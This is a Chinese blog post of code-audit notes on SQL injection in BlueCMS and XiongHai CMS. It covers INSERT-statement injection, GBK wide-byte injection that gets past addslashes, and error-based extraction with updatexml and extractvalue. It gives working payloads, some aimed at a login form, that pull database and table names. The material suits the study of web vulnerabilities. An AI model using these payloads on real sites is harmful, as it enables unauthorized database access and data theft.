不一样的注入

169 阅读3分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第十二天,点击查看活动详情

这几天的审计中见到好几个注入的新知识点,这里记录一下

从bluecms代码中学习insert和宽字节注入

源码:

$username = !empty($_POST['username']) ? trim($_POST['username']) : '' ;
    $password = !empty($_POST['password']) ? trim($_POST['password']) : '' ;
    $confirm_password = !empty($_POST['confirm_password']) ? trim($_POST['confirm_password']) : '' ;
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '' ;
    if($password != $confirm_password)
    {
        showmsg('两次输入密码不同');
    }
    if($username == '' || $password == '')
    {
        showmsg('信息填写不完整!');
    }
    checknameunique($username);
    $sql = "INSERT INTO ".table('user')." (user_id,user_name,pwd,email,reg_time) VALUES ('','$username',md5('$password'),'$email','$timestamp')";
    $db->query($sql);
    showmsg('添加会员成功','user.php');

$_POST等均使用deep_addslashes()进行转义,将单引号、双引号、反斜杠前面添加反斜杠进行转义

function deep_addslashes($str)
{
    
    if(is_array($str))
    {
        foreach($str as $key=>$val)
        {
            $str[$key] = deep_addslashes($val);
        }
    }
    else
    {
        $str = addslashes($str);
    }
    return $str;
}

首先我们知道编码方式为gbk,那么即使在进行插入数据库操作时进行了单引号包裹,仍然可以进行宽字节注入 首先我们先新建一个blue的表,创建user表 create table user( -> user_id int not null, -> user_name varchar(10) not null, -> pwd varchar(50) not null, -> email varchar(50) not null, -> reg_time varchar(50) not null); image.png 插入两条数据 insert into user (user_id,user_name,pwd,email,reg_time) values ('1','bob','123456','123@qq.com','2001-01-01'); insert into user (user_id,user_name,pwd,email,reg_time) values ('2','alice','12345678','123@qq.com','2001-01-01');

image.png 先看一下什么是insert注入,insert注入一般存在于注册、留言等地方,一般格式为 :

insert into table (xx,xxx,xx) values ('xx','xx','xx');

insert注入的payload一般使用报错函数,不得不说报错注入真的是永远的神 这里以updatexml为例,可以插入的payload为两种

' or updatexml(1,concat(0x7e,database()),0) or '

这个时候数据库语句相当于:

insert into user (user_id,user_name,pwd,email,reg_time) values (3,'bob' or updatexml(1,concat(0x7e,database()),0) or '','123','123@qq.com','2001-01-01');

image.png 另一种:

qwe12@qq.com',1),(100,'qqqq',123456,(select database()),1);

后台语句相当于

INSERT INTO user (user_id, user_name, pwd, email, reg_time) VALUES ('4','qq','gggg','qwe12@qq.com',1),(100,'qqqq',123456,(select database()),1);

然后查询一下数据库,发现回显在了email image.png 我们回到bluecms这个地方,首先先了解一下什么是宽字节注入:

简单说下宽字节注入,addslashes()会在我们输入的单引号前面添加一个转义符\,但是在gbk里面%df'也就是编码后的%5C%27,%df%5c就是繁体字連,那么就能成功逃逸出单引号

结合上面的insert注入,此时的payload为:

123@qq.com%df',1,1),(100,0x7a6875616e6779,md5(123456),(select database()),1,1);#

那么数据库就是:

insert into blue_user (user_id,user_name,pwd,email,reg_time) values (1,'eee','111','123@qq.com%df',1,1),(100,0x7a6875616e6779,md5(123456),(select database()),1,1);#')

其中的用户名因为单引号问题所以转换为十六进制 image.png 可以看到email位置,已经输出了库名 image.png

报错注入数据显示不完整

感谢十三年师傅,这里放上师傅对熊海cms审计的链接,超级无敌详细,几乎包括了所以搭建以及审计的坑 mp.weixin.qq.com/s?__biz=MzI… updatexml函数和extractvalue函数都只能显示32位 使用limit函数一个一个的出表

user=ww'and+1%3dupdatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)--+&password=www&login=yes

使用substr函数截取

user=ww' or extractvalue(1,concat(0x7e,substr(database(),1,5)))#&password=www&login=yes user=ww'and+1%3dupdatexml(1,concat(0x7e,substr((SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),5,30),0x7e),1)#&password=www&login=yes image.png